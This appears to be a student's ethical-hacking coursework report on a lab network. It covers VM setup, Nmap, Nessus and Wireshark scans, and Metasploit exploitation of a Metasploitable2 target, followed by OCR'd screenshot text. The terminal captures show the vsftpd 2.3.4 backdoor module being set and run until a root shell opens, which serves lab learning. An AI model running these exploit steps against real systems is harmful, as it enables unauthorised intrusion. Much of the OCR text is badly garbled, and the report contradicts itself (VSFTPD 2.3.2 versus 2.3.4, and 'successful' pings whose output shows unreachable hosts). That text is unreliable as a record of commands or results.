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Virtual machines imported according to the assignment guideline and configured and tested them. See bellow all virtual machines are running and ping to each other.
[bookmark: _Toc216555898]Network Test:
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Photo of All machines in Linux Virtual Box
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Figure 1(IP configuration of S-DC)
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Figure:2 (IP configuration of Kali)
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Figure:3 (IP configuration of L_Cd).
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Figure:4 (IP configuration of ClientS1).
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Figure:5 (IP configuration of ClientL1)
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Figure:6(Ping between S_DC and ClientS1).
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Figure:7 (PING S-DC and L-DC).
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Fig:8(ClientS1 and ClientL1).
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Fig:9(Ping ClientS1 and ClientL1).
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Fig:10(Ping L-CD and ClientS1).
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Fig:11(ping L-CD and S-DC).
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Fig:12 (Ping L-CD and ClientL1).
[bookmark: _Toc216555899]Task 2:
 Network Security Assessment of Swansea. ACCA Network.

2.1 A security centric operative system has been deployed by following the guideline of the recognised cyber security framework like Nist.
To evaluate the weaknesses of the network Kali Linux has been used which is equipped with effective tools like: Nmap, Nessus, Metasploit and Wireshark.
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Kali 2019 IP configuration.
The connectivity has been tested across the network. See below the screenshots of successful connectivity.
1. S_DC and ClientS1 successful connection,[image: A screenshot of a computer
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2: S-DC and ClientL1 connection:
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3:S-DC and L-CD connections.
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4:ClientS1 and ClientL1 connection.
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5:L-CD and ClientL1 connection.
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6:L-CD and ClientS1 connection.
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[bookmark: _Toc216555900]2.2: Vulnerability assessment: This assessment has been done according to NIST SP 800-115.
2.2.1: Information Gathering:
Using Nmap   hosts and open ports have been identified.
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Nmap Fig 1.
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Nmap Fogure:2
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Finding Vulnerabilities using Nmap.
2.2.2: Scanning Using Nessus: Weaknesses of the network has identified using Nessus.
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Fig:1. All machine are in Nessus vulnerability scan.
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Fig:2 Nessus vulnerability scan.
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S_DC Nessus vulnerability scan.
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CLIENTL1 nessus vulnerability scan.
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ClientS1 Nessus vulnerability scan.
2.2.3. Summary of the Vulnerabilities:
I)High: SMBv1 Enabled, Missing IIS Patches,
ii)Medium: Outdated OpenSSH, Weak RDP,
iii)Low: ICMP Timestamp, IIS Header Disclosure.
2.2.4: Wireshark Examination. The network traffic has been observed using Wireshark.
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Wireshark Fig:1
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Wireshark Fig:2
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Packet Capture by Wireshark Fig:3
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Destination and Source of Packets.
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File properties captured by Wireshark.
Conclusion: In this network vulnerability has been identified successfully using different types of Tools.
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[bookmark: _Toc216555902]Evaluation of Ethical Hacking in SWANSEA.ACCA
[bookmark: _Toc216555903]Introduction: Due to the emerging expansion of digital infrastructure, the modern organisations are becoming increasingly dependent on Network based system to run their academic, administrative and to manage the financial systems. Though this networking systems increase effectiveness and efficiency at the same time it also creates security risk. Unauthorised access to systems, spreading malware, information leakage and denial of service types of cyber threat is becoming more complex and critical day by day. Educational institution like SWANSEA.ACCA and other professional organisation and industries are especially vulnerable to cyber threats, because the handle sensitive personal, academic and financial data.
Ethical hacking is also known as penetration testing is an active cyber security system. It is a practice of real time cyber-attack to find out the vulnerability within an authorised and controlled environment. Ethical hackers work within the guideline of cyber security legislation and ethical framework. Their intention is not to do harm rather than they help to improve the security systems.
This report covering all the task of the assignment has presented a full and comprehensive ethical hacking. It has been created using the framework of industry-standard guidelines. Kali Linux has been used as an attacking system and Metasploitable2 has been used as an intentional weak target.
It follows the real time SWANSEA.ACCA network environment securely and aligning with the law. In this report, reconnaissance, vulnerability, exploitation and post exploitation steps has been explain clearly. Beside this ethics and laws are considered carefully and has proposed some suggestions.

2.Task 1-Recoinnaisance and collection of Information’s
2.1 Motive of Reconnaissance: It is the first and number one most important step of ethical hacking. In this step as much information is collected of the targeted system so that eminent attack surface can be understood. Ethical and unethical each hacker depends on enough collected data. Without enough information the attack may be failed or consume the risk of unwanted lose.
Generally, reconnaissance are two types, active and passive. Passive reconnaissance collect data without contacting with the target. It collects data from the open sources. On the other hand, in active resonance data is collected directly communication with the targets like port scanning. This active resonance has been done in the authorised lab environment.
2.2: Used tools and Environment: In the reconnaissance stage Kali Linux has been used which is a popular penetration testing operating system. Nmap has been used as a main tool for network discovery and security auditing. By using Nmap, open 
ports, active service, service version and operating related information can be known.
As a target system Metasploitable2 has been used which is intentionally created a Linux virtual machine to conduct security training.
2.3. Network discovery and Port scanning:
Nmap service scan has been used in the target system identified open ports and active service. The outcome of scan shows there are FTP, SSH, Telnet, HTTP, samba, MYSQL, PostgreSQL and Apache Tomcat services are active. So many open ports of a system indicate the weakness of the security. Every open port can be used as door entry of an attack.
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Nmap Scan.Fig 1
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2.4: Results of Reconnaissance:
Main results of reconnaissance stage are:
1.Network is open to many unnecessary services.
3.Lack of network segmentation and access controls.
4.No visible firewall or absence of security systems.
5. Old and risk Pron software version. 
This result justifies moving on the next step of security assessments.
3.Task 2-Vulnerability assessment.
Aim of vulnerability assessment.
In Vulnerability assessment stage information are analysis collected from reconnaissance. After analysing the information known weaknesses are identified. In this stage without attacking the target only do the risk assessment so that impact of the attack can be understood.
3.2 Identified weaknesses:
This is assessment has identified the following weaknesses: 
1) VSFTPD 2.3.2 backdoor weakness- this FTP version has a backdoor which allows unauthorised shell access.
ii) samba Username script weakness- root ownership can be gain by remote control access.
iii) Plain text service (FTP and Telnet)- is run without data encryptions.
iv) Weak defend configuration- increases the risk of brute force and malpractices.
V) Outdated web service- tomcat ad Apache has known weakness.

3.3 Risk analysis: these weaknesses increase the risk of secrecy, integrity, and demand of services, especially remote code execution weakness gives the chance to take control of whole system.

4 task 3- Exploitation:
4.1 Aim of an exploitation:
In exploitation stage analysed that the identified weaknesses can be misused in real life or not. It helps to reduce the impact of the security breaches.
4.2 Used tools: Metasploit Framework
For exploitation Metasploit Framework has been used. It is an professional penetration testing platform where there is different module of exploitation and payloads.
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Fig:1 Metasploitaion.
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Fig:2 Meatsploitaion.
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Fig:3 Metasploitaion.
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Fig;4 Metasploitaion.
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Fig:5 Metasploitaion.
4.3. VSFTPD exploitation:
For VSFTPD 2.3.4– using a specific exploitation module successfully a backdoors shell opened. This is proven that an unauthorised access is possible in the system. 
4.4 privileged analysis: 
After the shell access, using the system command it is analysed that the attacker has gain control of the whole system. As a result, it has 
4.5 Alternative Exploitation- Samba.
Using Samba usermap script exploit, successfully get the root shell that exposes the several weaknesses of the system.
5 task 4- post-exploitation:
5.1 Aim of post-exploitations.
In post exploitation stage it evaluated that how much damage has been caused by the attack and what the attacker does with the information.
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Fig:Post Exploitation.
5.2 post Exploitation activities:
In this stage the following activities has been done:
i) user privileged check.
ii) Operating system and kernel information collection.
iii) Probable persistent techniques identification.
5.3: Severity of the damage. 
The system is totally damage by the root access. If the attacker want, can steal the data, install malware or can attack more in the network.
5.4 Visible barriers.
In the post exploitation there was no barriers. Lack of IDS login system makes the identification harder.
6. Ethical & legal provisions:  The whole activities have been done the control environment. Ethical hacking should be done by the authorised legislation and with professionalism.
7: Suggestion and preventive measures:
Based on this assessment the following suggestions have been proposed.
i) Stop the un-necessary services.
ii) Every software should be patch and updated.
iii) Introduce strong authentication system.
iv) Ensure use of encrypted protocol,
v) Firewall and IDS installation. And 
Vi) Regularly assess the security.
[bookmark: _Toc216555904]Conclusion:
It has been proved by this assessment that old software, weak configuration, insufficient security systems keep a system in serious dangers.  By the Step-by-step reconnaissance, vulnerability assessment, exploitation and post exploitation the weaknesses have been analysed.
Ethical hacking is a tool to assess the security status of an organisation. By adapting the proposed preventive measures will help to reduce the noticeable cyber security risks, the organisation like SWANSEA.ACCA-
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B Cients1 Running] - Orcie VintuslBox.

Fle  Machne viev mpx  Deices  Hep

__ nitheesh@nitheesh: -
Fle Edt View Search Terminal Help
inets fe80::a00:27ff: fe38:1389/64 scope Link noprefixroute
valid_Ift forever preferred_lft forever
i theeshenitheesh:~$ ping 192.168.1.10
pin 152.168.1.10 (152.168.1.10) 56(84) bytes of data
Jos bytes from 192.168.1.10: icnp_seq=1 ttl-128 time-2.21 ms
Jos bytes from 192.168.1.10 87 ms
Jos bytes from 192.168.1.10 47 ms
Jos bytes from 192.168.1.10 20 ns
Jos bytes from 192.168.1.10 29 ms
Jos bytes from 192.165.1.10 22 ms
Jos bytes from 192.165.1.10 o1 ms
Jos bytes from 192.165.1.10
Jos bytes from 192.165.1.10
Jos bytes from 192.168.1.10
bytes from 192.168.1.10
bytes from 192.168.1.10
bytes from 192.168.1.10
bytes from 192.168.1.10
bytes from 192.168.1.10

icmp_seq=6 tt1=128 tine=2
41:128 tin

-~ 192.168.1.10 ping statistics
15 packets transnitted, 15 received, 0% packet loss, tine 1403ims
et min/avg/max/mdev = 2.208/5.041/8.358/1.838 ns

P Type here o search
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pture
{sudo] passuord for londonlogin: 0t
Device "enpo1o” does not exist.
londonloginL-CD: ™% sudo ip addr add 192.168.1.20/24 dev enpolo
Cannot find device “enpolo” Mouse integration
et tin londonlogineL-CD: ™8 ip a

. i: <LODPBACK, UP,LOMER_UP> mtu 65536 odisc nogueue state UNKNOWN group default glen 106

inet 127.0.0.1/8 scope host lo
Default Gateway . . . . . . . . . valid_lft forever preferred_Lft forever
inets /128 scope host noprefixroute
valid_lft forever preferred_Lft forever
e <BROADCAST, MULTICAST, UP, LONER_UP> mtu 1500 qdisc fo_codel state UP group default gle
Link/ether 08:00:27:27:68:c5 brd £1:1f Bt
e80: :c411:ebab:156b:7417%11 altname enxeB0027276603
BRI inet 169.25¢.101.177/16 brd 169.25¢.255.255 scope global noprefixroute enps3
255.255.0.0 valid_lft forever preferred_Lft forever
inete /64 scope link
valid_lft forever preferred_Lft forever

Ethernet adapter Ethernet 4: londonlag ingL-C0: "% sudo ip addr flush dev enposie
Device "enpesio” does not exist.
londonlog ingL-C0: "% sudo ip addr flush dev enpos3
(e DRI D) LondonlogingL-CD: ™ sudo ip addr add 192.168.1.20/24 dev enpos3
HEDAEERTED Londonlogin@l-CD: ™% sudo ip link set enpes3 up
255.255.0.0 londonlog inL-CD: % sudo ip route add default via 192.168.1.
londonlogineL-CD: ™8 ip a
i: <LODPBACK, UP,LOMER_UP> mtu 65536 odisc nogueue state UNKNOWN group default glen 106

pentan

Ethernet adapter Ethernet

Connection-specific DNS Suffix
Link-local IPv6 Address .
Autoconfiguration IPva Address.
Subnet Mask

Default Gateway .

Connection-specific DNS Suffix
Link-local IPv6 Address .
Autoconfiguration IPva Address.
Subnet Mask

Default Gateway .

C: \Users\Admin>ping 192.168.2.1 Linksloophack 00:00:00:00:00:00 brd 00: 100:00:00
. . inet 127.0.0.1/8 scope host lo
Pinging 192.168.2.1 with 32 bytes of data: valid_lft forever preferred_lft forever
Reply from 192.168.1.10: Destination host unreachable. inete - /128 scope host noprefixroute
Reply from 192.168.1.10: Destination host unreachable. valid_1ft forever preferred_Lft forever
Reply from 192.168.1.10: Destination host unreachable. 2 <BROADCAST, MULTICAST,UP,LOKER_UP> mtu 1500 gdisc fo_codel state UP group default gle
Reply from 192.168.1.10: Destination host unreachable. Vinksether 08:00:27:57:66:c3 brd £f:Ff:
. . altname enxes00z72766c3
Ping statistics for 102.168.2.1 inet 192.165.1.20/24 scope global enp@s3
Packets: Sent = 4, Received = 4, Lost = @ (0% loss), valid_Lft forever preferred_Lft forever
. londonlogin@l-CD: ™% ip route
I ldefault via 192.168.1.1 dev

152.168.1.0/24 dev proto kernel scope link src 192.168.1.20
londonloginel -CD: % ping -c 4 192.168.1.18
PING 192.168.1.16 (192.168.1.10) 56(84) bytes of data
64 bytes from 192.168.1.10: icmp_seq=1 tt
64 bytes from 192.168.1.10: icmp_seq=2 tt
64 bytes from 192.168.1.10: icmp_seq=3 tt

Windows 10 Enterpris -
64 bytes from 192.168.1.10: icmp_seq=4 ttl=128 time=1.08 ms

Windows License vali¢
Build 19041.vb._release.

--- 132.168.1.10 ping statistics --

=11 - B 11°c ~ m & 9) NG 4 packets transmitted, 4 received, 0% packet loss, time 3015ms
© ' P EasT ® @ 13/12/202rt+ min/ave/max/mdey = 1.017/1.747/3.648/1. 108 ms
londonlogingL-CD: 5

g%
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© Asomatcsuspend
Computer will suspend very oon because of nactivy,

root@osboxes: ~

File Edit View Search Terminal

root@osboxes:~# 1p a -
1: lo: <LOOPBACK,UP,LONER UP> mtu 65536 qisc noqueue state UNKNOWN group defaul
t qlen 1000
Uink/loopback 00:00:60:00:80:08 brd 00:80:08:80:60:08
inet 127.0.5.1/8 scope host lo
valid Uit forever preferred 1ft forever
6 ::1/128 scope host
valid Uit forever preferred Lft fore:

2: etho: <BROADCAST,MULTICAST,UP,LONER UP> mtu 1560 qdisc pfifo_fast state UP or
oup default qlen 1000
Uink/ether 08:00:27:ad4:dd: d brd ff:Ff:Ff:ff:ffiff \

inet 192.168.1.50/24 scope global ethd
valid Uit forever preferred lft forever
3: ethl: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo_fast state UP grl
oup default qlen 1000
Uink/ether 08:00:27:6e: fa:b2 brd ff:ff:ff:ff:ff:ff
inet 10.0.3.15/24 brd 10..3.255 scope global dynanic noprefixroute ethl
valid 1ft 85oslsec preferred Lt B551sec
inet6 fd17:625¢:(037:3:bAce: cba8:3d43:5755/64 scope global temporary dynamic

valid Uit seosdsec preferred Lft 14064sec
inets fd17:625¢:f037:3:200:27Ff fese: fab2/64 scope global dynanic angtmpaddr,
noprefixroute
Valid Uit seosdsec preferred Lt 14os4sec

e
"
E]
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Input

¥ Administrator: Command Prompt

Link-local IPv6 Address .
Autoconfiguration IPva Address.
Subnet Mask

Default Gateway .

N

Ethernet adapter Intswa

Connection-specific DNS Suffix

fe80: :e147:b674:a231
169.254.160.244.
255.255.0.0

8284%8

Tpva Address.
Subnet Mask
Default Gateway .

Ethernet adapter Ethernet 2

Connection-specific DNS Suffix

192.168.1.10
255.255.255.0
fes0::2%17
192.168.2.1

Link-local IPv6 Address - e80: :6e7F:C755:25C5:a555%14 Link-local IPv6 Address . e80: :215F:720:6566: Cbf7%0
IPva Address. 192.168.1.1 TPva Address. 192.168.56.103
Subnet Mask . . . 255.255.255.0 Subnet Mask . 255.255.255.0
Default Gateway . Default Gateway
Ethernet adapter External Ethernet adapter Ethernet 3
Connection-specific DNS Suffix Connection-specific DNS Suffix
Link-local IPv6 Address - fe80: :Fd1F:af02:5d0e: FEF3%16 Link-local IPv6 Address . . e80: :c411:ebab:156b:7417%11
TPva Address. 20.6.6.1 Autoconfiguration IPva Address. 169.254.116.23
Subnet Mask . 255.255.255.252 Subnet Mask . . . 255.255.0.0
Default Gateway . Default Gateway
Ethernet adapter Ethernet Ethernet adapter Ethernet 4
Connection-specific DNS Suffix Connection-specific DNS Suffix
Link-local IPv6 Address . . Fe80: :10db:5823:78bd : e2b%7 Link-local IPv6 Address . . e80: :d133:64d7: 6dd1:889F%3
Autoconfiguration IPva Address. 160.254.56.134 Autoconfiguration IPv4 Address. 169.254.136.159
Subnet Mask . . . 255.255.0.6 Subnet Mask . 255.255.0.0
Default Gateway . Default Gateway
C: \Users\Administrator>ping 192.168.1.10 C: \Users\Admin>ping 192.168.1.
Pinging 192.168.1.10 with 32 bytes of data Pinging 192.168.1.1 with 32 bytes of data
Reply from 192.168.1.1: Destination host unreachable. Reply from 192.168.1.10: Destination host unreachable
Reply from 192.168.1.1: Destination host unreachable. Reply from 192.168.1.10: Destination host unreachable
Reply from 192.168.1.1: Destination host unreachable. Reply from 192.168.1.10: Destination host unreachable
Reply from 192.168.1.1: Destination host unreachable. Reply from 192.168.1.1@: Destination host unreachable
ping statistics for 192.168.1.10 ping statistics for 192.168.1.
Packets: Sent = 4, Received = 4, Lost = @ (e% loss), Packets: Sent = 4, Received = 4, Lost = @ (e% loss),
c: \Users\Administrators C: \Users\Admin>,

Windows License vali
Build 19041.vb,_release
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Applcations - Places ~_E] Terminal -
root@asbores: -

Edt View Search Terminal Help

Nnap done: 1 IP address (1 host up) scanned in 5.77 seconds
Footeosbores:# nmap sV --script vuln 192.168.56.0/24
Starting Nnap 7.80 ( https://nmap.org ) at 2025-12-10 18:10 EST
Nnap scan report for 192.168.56.1

Host is up (0000655 Latency)
Not_shown: 994 closed ports

PORT  STATE  SERVICE VERSTON

135/tcp open  msrpc Microsoft Windows RPC
|_clanay-exec: ERROR: Script execution failed (use -d to debug)
130/tcp open  netbios-ssn Microsoft Windows netbios-ssn

|_clanav-exec: ERROR: Script execution failed (use -d to debug)

43s/tcp open  microsoft-ds?
Clanav-exec: ERROR: Script execution failed (use -d to debug)

I
@ 557k ritceres vores
icrosort TTPAPE it 2.0 (ssoe/upne)

5357/tcp open hitp
i ||_clamav-exec: ERROR: Script execution failed (use -d to debug)
http-csrf: Couldn't find any CSRF vulnerabilities.

|| http-donbased-xss: Couldn't find any DOM based XSS
. |_http-server-header: Microsoft-HTTPAPI/2.0
| http-stored-xss: Couldn't find any stored XSS vulnerabilities
7670/tcp filtered realserver
PAC Address: 0A:00:27:00:00:1€ (Unknown)
Service Info: 0S: Windows: CPE: cpe:/o:microsoft:uindows

Bvos script resues
[*2anba.vuln-cve-2012-1182: Could not negotiate a connection:SHE: Failed to receive bytes: ERROR
© |Isab-viln-nai0-o5a: false
|Z2ab-vuln-s10-G61; Could not negotiate a connection:SHa: Failed to receive bytes: ERROR

& unsp scan report for 192.160.55.58
oct 1570 Tocaonss 1atency)
K27 sone Scamnea ports on 392, 168.56. are closea

PAC Naaress. Ga.00057 45120.6F (oracte Virtustaax virtual NIC)

Nnap scan report for 192.168.56.160
Host is up (0.8036s Latency).

Not shown: 998 closed ports

PORT  STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 9.2p1 Debian 2+deb12us (protocol 2.0)

| clamav-exec: ERROR: Script execution failed (use -d to debug)

| vulners.

| cpe:/a:openbsd:openssh:9.2p1

I PACKETSTORN: 179290 10.6 https://vulners. con/packetstorn/PACKETSTORM: 175290 “ExpLOIT

I 1EECB894-D2F7-547C-527C-O15BEBG6875C  10.0  hitps://vulners.con/githubexploit/1EECE94-D2FT-547C 827C-915BEB66875C
I PACKETSTORN:173661 9.8 https://vulners. con/packetstorn/PACKETSTORN: 173661 “ExpLOIT*

I

|

“expLoTT

“expLoITs

F0979183-AE8B-5384-86CF-3AF0523F3807 9.8 hitps://vulners.con/githubexploit/FO979183-AES-5384-B6CF -3AF0523F3807
CVE-2023-38408 5.8 hitps://vulners.con/cve/CVE-2623-38408
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Applcations - Places ~_E] Terminal -

root @osboxes: -

it Search Terminal _Help
HAC Address: 08:00:27:C5:50:73 (Oracle VirtualBox virtual NIC)
Nnap done: 1 Ip address (1 host up) scanned in 0.12 seconds
rootcoshores:~# nmap -sn 192.168.56.100
Starting Nnap 7.80 ( https://nnap.org ) at 2025-12-10 16:07 EST
Nnap scan report for 192.168.56.160
Host 1 up (6.8014s Latency) .
HAC Address: 08:00:27:41:3F:75 (Oracle VirtualBox virtual NIC)
Nnap done: 1 I address (1 host up) scanned in 0.15 secands
rooteoshores:—# mmap -sn 192.168.56.102
Starting inap 7.8 ( https://mmap.org ) at 2025-12-10 16:08 EST
Note: Host seens down. I it is really up, but blocking our ping probes, try
Nnap done: 1 19 address (0 hosts up) scanned in 8.54 seconds:
rootgoshores:—# mmap sV 192.168.56.105
Starting Naap 7.80 ( https://mmap.org ) at 2625-12-10 16:11 EST
Nnap scan report for 192.168.56.105
Host 15 up (8.60405 latency)
Mot shown: 980 closed ports
PORT  STATE SERVICE  VERSION
~ [7/tcp open echo
o/tcp  open discard?
13/tcp open daytine  Microsoft Windows Ush daytime
17/tcp open qotd Windows qotd (English)
18/tcp open chargen
21/tp open ftp Hicrosoft Ttpd
53/tcp open domain?
8o/tcp  open http Microsoft 115 httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-12-11 04:18:052)
135/tcp open msrpc Hicrosoft Windows RPC
S 5o/t open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windous Active Directory LOAP (Domain: swansea.accad., Site: Default-First-Site-Nane)
& #93/tcp open ssUhttp  Microsoft ITS httpd 10.0
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (vorkgroup: SWANSEA)
464/tcp open  kpasswas?
s15/tcp open printer
593/tcp open ncacn http Microsoft Windows RPC over HTTP 1.0
636/1cp open  tcpurapped
3268/tcp open Ldap Microsoft Windous Active Directory LOAP (Domain: swansea.accao., Site: Default-First-site-Nane)
3269/tcp open tcpurapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following Tingerprint at NTtps://nnap.org/coi-bin/subnit.cgirnew-service
SF-POrtS3-TCP:V=7 . B0UL=TAD=12/10%TiMe=6939E 20FLP=x86_64-pC-Linux-gnutr (ONS
SF:VersionBindReqTCh, 20, "\0\x1e\0\XB6\XB1\ X04\6\X01\810\0\0\0\0\x67version
SF:\XD4DINGNO\O\XLO\GVRE3");
MAC Address: 08:00:27:14:80:9D (Oracle VirtualBox virtual NIC)
Service Info: Host: 5-0C; 05: Windows; CPE: cpe: /omicrosoft:windows

Service detection perforned. Please report any incorrect results at https://mmap.org/submit/
Nnap done: 1 IP address (1 host up) scanned in 159.32 seconds
Footeosboxes:~#
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root@osboxes: ~

root@oshoxes:~# wireshark
root@osboxes:~# wireshark &
11 1780
root@osboxes:~# nmap -sS -p 1-1000 192.168.1.1
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-13 11:27 EST

Nmap scan report for Community16642.communityfibre.co.uk (192.168.1.1)
Host is up (0.0024s latency).

Not shown: 997 filtered ports

PORT  STATE SERVICE

53/tcp open domain

8o/tcp open http

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 5.65 seconds
root@osboxes:~# |

NG————
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Applications + _Pla Thu05:51

‘Wireshark - UDP Muticast Streams - th0. ceeo

Source Address ~ Source Port Destination Address. Destination Port__Packets _ Packets/s _ AvgBW (bps)  MaxBW (bps)  MaxBurst _ BurstAlarms _ Max Buffers 8) Buffer Alarms
7e80:<147:0674:32318284 5353 froz: b 5353 1 003 z 20k 2/100ms 0 %0 o
feB0-e147-b674:2231:8284 65535 f02:1:3 5355 1 0.00 o 0 1/100ms o 84 o
feB01e147/0674:2231:8284 54364 ff02:13 5355 1 0.00 o o 1/100ms o 8e o
1680:<147:0674:3231:8284 54800 1102:1:3 5355 1 0.00 o 0 1/100ms 0 82 o
feB0-147-b674:2231:8284 55740 f02:1:3 5355 1 000 o 0 1/100ms o 8¢ o
feB01e147/b6 74223118284 50712 f102:13 5355 2 199 1337 o 1/100ms o 8e o
£680:4d5C90ad dd1B 26 55606 ff02:c 3702 2 005 281 0 1/100ms 0 1436 o
feB0-ddsc:90ad:dd1: 2eb 5353 f02:1b 5353 48 0.0 17 o 1/100ms o 1032 o
7e80:2803:3544:9ee:2986 5353 fro2:b 5353 s 002 1 2k 2/100ms o 188 o
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£5 > msfconsole
nsfconsole cannot be run inside msfconsole

msf5 > use exploit/unix/ftp/vsftpd 234 backdoor
15 explodt(unix/ftp/vsftpd_234 backdaor) > run

+ RHOSTS.

(-] Exploit failed: The following options failed to validate
[+] Exploit conpleted, but no session was created.

mSf5 exploit(unix/ftp/vsftpd 234 hackdoor) > set RHOSTS 192.168.56.107
RHOSTS => 192.168.56.107

ST5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[+] 192.168.56.107:21 - Banner: 220 (vsFTPd 2.3.4)

[+] 192.168.56.167:21 - USER: 331 Please specify the password

[+] 192.168.56.107:21 - Backdoor service has been spawned, handling

[+] 192.168.56.107:21 - UID: uid=8(root) gid=0(root)

[+] Found shell.

[+] Comand sheil session 1 opened (10.0.3.15:44675 -> 192.168.56.107:6200) at 2025-12-11 19:58:34 -0500
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st > msfconsole
msfconsole cannot be run inside msfconsole

BL
[B wars™> s expottruntns epyvstipg. 234 backdoor
msf5 exploLt (unix/ftp/vaftpd 234 backdoor) > run

“® [} exploit fatled: The following options failed to validate: RHOSTS

[+] Exploit completed, but no session was created
mSf5 exploit(unix/ftp/vsftpd 234 backdoor) > et RHOSTS 192.168.56.107

RHOSTS => 192.168.56.107
ST5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[+] 192.168.56.107:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.167:21 - USER: 331 Please specify the password

[+] 192.168.56.107:21 - Backdoor service has been spawned, handling

[+] 192.168,56.167:21 - UID: uid=6(root) gid=d(root)

[+] Found shell

[+] Comand shell session 1 opened (16.5.3.15:44675 > 192.163.56.107:6200) at 2025-12-11 19:58:34 -0508

whoani
root
id
uid=0(root) gid=s(root)
Linux netasploitable 2.6.24-16-server #1 SHP Thu Apr 10 13:58:00 UTC 2008 1685 GNU/Linux
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555 > use exploit/unix/ftp/vsftpd 234 backdoor
msf5 exploit(unix/ftp/vsftpd_23d backdoor) > run

(-] Exploit failed: The following options failed to validate: RHOSTS

[+] Exploit conpleted, but no session was created.

msf5 exploit(unix/ftp/veftpd 234 backdoor) > set RHOSTS 192.168.56.107

RHOSTS => 192.168.56.107

msf5 exploit(unix/ ftp/vsftpd 234 backdoor) > run

[+] 192.168.56.107:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.56.107:21 - USER: 331 Please specify the password

[+] 192.168.56.107:21 - Backdoor service has been spawned, handling

[+] 192.168.56,107:21 - UID: uid=0(root) gid=d(root)

[+] Found shell

[+] Comnand shell session 1 opened (10.0.3.15:42655 -> 192.168.56.107:6200) at 2025-12-11 20:42:06

-0500
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ms£5 > use exploit/unix/ftp/vsftpd 234 backdoor
msf5 exploit(unix/Ftp/vsftpd_23d backdoor) > run

(-] Exploit failed: The following options failed to validate: RHOSTS

r9Ez0 ON

[+] Exploit conpleted, but no session was created.
msf5 exploit(unix/ftp/veftpd 234 backdoor) > set RHOSTS 192.168.56.107
RHOSTS => 192.168.56. 107

msfs exploit(unix/ftp/vsftpd_234_backdoor) > run

[+] 192.168.56.107:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.56.107:21 - USER: 331 Please specify the password

[+] 192.168.56.107:21 - Backdoor service has been spawned, handling
[+] 192.168.56, 107:21 (root) gid=0(root)

[+] Found shell

[+] Comand shell session 1 opened (10.0.3.15:42055 -> 192.168.56.107:6200) at 2025-12-11 20:42:06 -0508

uID: uid:

whoani
root
Linux netasploitable 2.6.24-16-server #1 SHP Thu Apr 10 13:58:00 UTC 2088 1686 GNU/Linux
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